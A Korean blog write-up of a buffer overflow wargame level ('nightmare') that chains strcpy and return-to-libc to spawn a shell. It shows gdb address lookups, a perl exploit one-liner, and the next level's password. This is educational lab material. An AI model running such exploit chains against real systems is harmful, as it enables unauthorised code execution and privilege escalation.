1. 취약점
이제 끝이 슬슬 보인다!!!
1. main의 return address를 strcpy()의 주소로 한다. 따라서 main()이 종료한 후에 strcpy()가 수행한다.
2. strcpy()는 함수가 수행 완료 후 Retun address가 "AAAA"이다. strcpy를 활용해서 "AAAA"를
RTL로 변경한다.
따라서 현재 strcpy()의 주소를 알아야 하고 argv[2]를 source로 buffer[48]을 dest로 사용할 것이므로 argv[2], buffer의 주소도 알아야 한다.
$ bash2
$ gcc -g -o nightmar1 nightmare.c
$ gdb -q nightmar1
(gdb) print strcpy
strcpy()의 주소 : 0x08048410
이번엔 argv[2], buffer의 주소를 확인하자.
$ cp nightmare.c nightmar1.c
$ vi nightmar1.c
$ gcc -o nightmar1 nightmar1.c
$ ./nightmar1
buffer[48] 주소 : 0xbffffad0
argv[2] 주소 : 0xbffffc56
각각의 RTL 주소는 전 단계를 참고해주세요
1. system() 주소 : 0x40058ae0
2. /bin/sh 의 주소 : 0x400fbff9
3. exit()의 주소 : 0x400391e0
2. Exploit
1. 바로 괴롭힌다.
$ ./nightmare `perl -e 'print "A"x44, "\x10\x84\x04\x08", "A"x4, "\xd0\xfa\xff\xbf", "\x56\xfc\xff\xbf"'` `perl -e 'print "\xe0\x8a\x05\x40", "\xe0\x91\x03\x40","\xf9\xbf\x0f\x40"'`
2. 결과
id : nightmare passwd : beg for me
'Computer Science > BOF 원정대' 카테고리의 다른 글
[버퍼 오버플로우] Bof 원정대 (zombie_assassin -> succubus ) (2) | 2016.10.09 |
---|---|
[버퍼 오버플로우] Bof 원정대 (assassin -> zombie_assassin ) (0) | 2016.10.09 |
[버퍼 오버플로우] Bof 원정대 (giant -> assassin ) (0) | 2016.10.08 |
[버퍼 오버플로우] Bof 원정대 (bugbear -> giant ) (0) | 2016.10.08 |
[버퍼 오버플로우] Bof 원정대 (darkknight -> bugbear) (0) | 2016.10.08 |